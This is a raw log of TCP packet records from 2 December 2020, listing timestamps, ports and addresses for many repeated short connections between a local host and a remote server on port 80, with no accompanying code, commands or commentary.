Dec 2, 2020 11:54:03.534570932 CET	49924	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:03.586288929 CET	80	49924	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.760579109 CET	49925	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:03.813469887 CET	80	49925	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.813638926 CET	49925	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:03.821188927 CET	49925	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:03.874046087 CET	80	49925	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.874212980 CET	49925	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:03.929984093 CET	80	49925	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.950833082 CET	80	49925	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.950877905 CET	80	49925	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:03.950965881 CET	49925	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:03.951044083 CET	49925	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:04.003829956 CET	80	49925	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:04.169460058 CET	49926	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:04.222033024 CET	80	49926	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:04.222160101 CET	49926	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:04.227868080 CET	49926	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:04.280311108 CET	80	49926	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:04.281078100 CET	49926	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:04.333307028 CET	80	49926	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:04.356916904 CET	80	49926	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:04.356957912 CET	80	49926	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:04.357042074 CET	49926	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:04.357074022 CET	49926	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:04.409301996 CET	80	49926	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:04.627744913 CET	49927	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:04.680526972 CET	80	49927	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:04.680754900 CET	49927	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:04.684159994 CET	49927	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:04.737689018 CET	80	49927	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:04.737780094 CET	49927	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:04.790472984 CET	80	49927	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:04.824449062 CET	80	49927	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:04.824480057 CET	80	49927	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:04.824584961 CET	49927	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:04.824696064 CET	49927	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:04.877801895 CET	80	49927	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:05.026362896 CET	49928	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:05.078746080 CET	80	49928	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:05.080178022 CET	49928	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:05.082818985 CET	49928	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:05.135119915 CET	80	49928	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:05.144393921 CET	49928	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:05.196155071 CET	80	49928	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:05.223505020 CET	80	49928	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:05.223563910 CET	80	49928	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:05.223731995 CET	49928	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:05.223779917 CET	49928	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:05.275476933 CET	80	49928	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:05.645334959 CET	49929	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:05.698755980 CET	80	49929	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:05.698939085 CET	49929	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:05.706168890 CET	49929	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:05.763911963 CET	80	49929	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:05.764142036 CET	49929	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:05.819299936 CET	80	49929	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:05.846091032 CET	80	49929	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:05.846153975 CET	80	49929	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:05.846311092 CET	49929	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:05.900644064 CET	80	49929	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.057346106 CET	49930	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.109457016 CET	80	49930	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.109633923 CET	49930	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.116519928 CET	49930	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.182209969 CET	80	49930	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.182387114 CET	49930	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.234210968 CET	80	49930	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.257916927 CET	80	49930	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.257963896 CET	80	49930	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.258191109 CET	49930	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.261944056 CET	49930	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.310014009 CET	80	49930	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.454679966 CET	49931	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.506417036 CET	80	49931	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.506618023 CET	49931	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.510435104 CET	49931	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.562120914 CET	80	49931	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.562309027 CET	49931	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.613941908 CET	80	49931	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.636279106 CET	80	49931	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.636317968 CET	80	49931	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.636636972 CET	49931	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.636687040 CET	49931	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.688968897 CET	80	49931	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.851758957 CET	49932	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.905786991 CET	80	49932	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.906008005 CET	49932	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.913352013 CET	49932	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:06.966052055 CET	80	49932	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:06.966228962 CET	49932	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.019232035 CET	80	49932	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.043773890 CET	80	49932	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.043908119 CET	49932	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.043961048 CET	80	49932	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.044078112 CET	49932	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.115905046 CET	80	49932	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.315594912 CET	49933	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.368576050 CET	80	49933	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.368884087 CET	49933	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.374504089 CET	49933	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.433018923 CET	80	49933	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.433208942 CET	49933	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.486285925 CET	80	49933	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.512545109 CET	80	49933	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.512582064 CET	80	49933	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.512748957 CET	49933	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.514688969 CET	49933	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.570596933 CET	80	49933	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.689882994 CET	49934	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.741735935 CET	80	49934	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.743136883 CET	49934	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.745647907 CET	49934	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.797350883 CET	80	49934	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.797575951 CET	49934	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.849359035 CET	80	49934	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.870342016 CET	80	49934	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.870384932 CET	80	49934	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:07.870492935 CET	49934	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.870537996 CET	49934	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:07.922398090 CET	80	49934	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:08.062702894 CET	49935	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:08.115705013 CET	80	49935	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:08.116739035 CET	49935	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:08.120275021 CET	49935	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:08.172703981 CET	80	49935	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:08.175287008 CET	49935	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:08.227821112 CET	80	49935	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:08.249250889 CET	80	49935	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:08.249300957 CET	80	49935	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:08.249392033 CET	49935	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:08.249417067 CET	49935	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:08.302515984 CET	80	49935	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:08.446310997 CET	49936	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:08.499691963 CET	80	49936	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:08.501621962 CET	49936	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:08.508028030 CET	49936	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:08.560830116 CET	80	49936	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:08.564369917 CET	49936	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:08.617069006 CET	80	49936	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:08.637877941 CET	80	49936	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:08.637902021 CET	80	49936	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:08.642570019 CET	49936	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:08.754590988 CET	49936	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:08.816982031 CET	80	49936	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:08.952889919 CET	49937	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:09.006717920 CET	80	49937	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:09.105753899 CET	49937	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:09.113024950 CET	49937	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:09.165683985 CET	80	49937	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:09.166830063 CET	49937	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:09.219317913 CET	80	49937	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:09.240145922 CET	80	49937	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:09.240164042 CET	80	49937	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:09.392762899 CET	49937	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:09.395236015 CET	49937	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:09.450047970 CET	80	49937	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:11.182426929 CET	49938	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:11.235219955 CET	80	49938	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:11.235498905 CET	49938	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:11.242526054 CET	49938	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:11.294930935 CET	80	49938	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:11.302968979 CET	49938	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:11.355248928 CET	80	49938	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:11.376329899 CET	80	49938	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:11.376390934 CET	80	49938	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:11.384274960 CET	49938	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:11.384358883 CET	49938	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:11.436644077 CET	80	49938	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:11.584145069 CET	49939	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:11.636512995 CET	80	49939	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:11.636626959 CET	49939	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:11.639262915 CET	49939	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:11.692208052 CET	80	49939	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:11.692301989 CET	49939	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:11.745311022 CET	80	49939	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:11.771996021 CET	80	49939	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:11.772046089 CET	80	49939	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:11.772233009 CET	49939	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:11.774827957 CET	49939	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:11.828021049 CET	80	49939	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:12.016954899 CET	49940	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:12.069093943 CET	80	49940	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:12.069263935 CET	49940	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:12.071896076 CET	49940	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:12.124988079 CET	80	49940	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:12.125400066 CET	49940	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:12.177370071 CET	80	49940	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:12.200444937 CET	80	49940	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:12.200467110 CET	80	49940	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:12.201318026 CET	49940	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:12.201363087 CET	49940	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:12.253256083 CET	80	49940	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:12.578025103 CET	49941	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:12.630367994 CET	80	49941	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:12.630969048 CET	49941	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:12.634165049 CET	49941	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:12.686697006 CET	80	49941	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:12.686851978 CET	49941	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:12.739267111 CET	80	49941	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:12.768111944 CET	80	49941	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:12.768183947 CET	80	49941	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:12.768383026 CET	49941	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:12.768428087 CET	49941	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:12.821501017 CET	80	49941	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:12.958080053 CET	49942	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.009316921 CET	80	49942	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:13.009485006 CET	49942	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.017353058 CET	49942	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.069080114 CET	80	49942	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:13.069201946 CET	49942	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.120321989 CET	80	49942	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:13.140944958 CET	80	49942	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:13.140969038 CET	80	49942	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:13.141175985 CET	49942	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.141204119 CET	49942	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.192352057 CET	80	49942	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:13.396028996 CET	49943	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.452682972 CET	80	49943	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:13.452884912 CET	49943	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.460319996 CET	49943	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.514198065 CET	80	49943	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:13.514307022 CET	49943	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.566983938 CET	80	49943	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:13.589608908 CET	80	49943	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:13.589643955 CET	80	49943	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:13.589764118 CET	49943	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.589904070 CET	49943	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.670332909 CET	80	49943	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:13.847206116 CET	49944	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.900266886 CET	80	49944	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:13.900402069 CET	49944	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.903883934 CET	49944	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:13.956267118 CET	80	49944	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:13.956406116 CET	49944	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.009093046 CET	80	49944	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.030296087 CET	80	49944	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.030338049 CET	80	49944	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.030492067 CET	49944	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.030571938 CET	49944	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.082995892 CET	80	49944	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.213310003 CET	49945	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.265988111 CET	80	49945	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.266154051 CET	49945	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.273895979 CET	49945	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.326437950 CET	80	49945	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.326558113 CET	49945	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.387767076 CET	80	49945	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.412825108 CET	80	49945	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.412878036 CET	80	49945	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.412997007 CET	49945	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.413050890 CET	49945	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.467689037 CET	80	49945	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.665205002 CET	49946	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.717559099 CET	80	49946	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.717683077 CET	49946	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.721467972 CET	49946	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.773453951 CET	80	49946	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.773554087 CET	49946	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.826003075 CET	80	49946	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.852649927 CET	80	49946	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.852705002 CET	80	49946	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:14.852993011 CET	49946	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.853024960 CET	49946	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:14.905347109 CET	80	49946	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.073704958 CET	49947	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.126600027 CET	80	49947	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.126725912 CET	49947	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.132386923 CET	49947	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.185878992 CET	80	49947	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.187186003 CET	49947	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.239947081 CET	80	49947	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.261504889 CET	80	49947	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.261539936 CET	80	49947	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.261635065 CET	49947	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.261672020 CET	49947	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.314454079 CET	80	49947	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.488081932 CET	49948	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.540329933 CET	80	49948	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.540494919 CET	49948	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.547116041 CET	49948	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.599402905 CET	80	49948	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.599518061 CET	49948	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.652380943 CET	80	49948	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.675228119 CET	80	49948	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.675267935 CET	80	49948	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.675373077 CET	49948	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.676080942 CET	49948	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.728513002 CET	80	49948	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.849126101 CET	49949	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.917526960 CET	80	49949	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.917656898 CET	49949	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.920391083 CET	49949	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:15.973742008 CET	80	49949	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:15.978032112 CET	49949	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.030641079 CET	80	49949	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.055699110 CET	80	49949	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.055768013 CET	80	49949	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.056364059 CET	49949	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.056415081 CET	49949	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.110754013 CET	80	49949	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.297581911 CET	49950	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.352760077 CET	80	49950	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.352967024 CET	49950	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.357728004 CET	49950	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.409969091 CET	80	49950	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.410058975 CET	49950	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.461947918 CET	80	49950	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.485110998 CET	80	49950	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.485166073 CET	80	49950	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.485302925 CET	49950	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.485338926 CET	49950	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.537136078 CET	80	49950	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.663086891 CET	49953	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.717847109 CET	80	49953	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.718132973 CET	49953	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.721966982 CET	49953	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.774705887 CET	80	49953	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.774810076 CET	49953	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.829710960 CET	80	49953	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.854005098 CET	80	49953	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.854064941 CET	80	49953	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:16.854129076 CET	49953	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.854180098 CET	49953	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:16.908086061 CET	80	49953	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.100908995 CET	49954	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:17.152575016 CET	80	49954	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.152713060 CET	49954	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:17.155236959 CET	49954	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:17.206881046 CET	80	49954	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.207006931 CET	49954	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:17.261796951 CET	80	49954	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.282335043 CET	80	49954	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.282388926 CET	80	49954	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.282490015 CET	49954	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:17.282552958 CET	49954	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:17.334220886 CET	80	49954	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.454166889 CET	49955	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:17.507035971 CET	80	49955	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:17.507160902 CET	49955	80	192.168.2.6	45.144.3.234
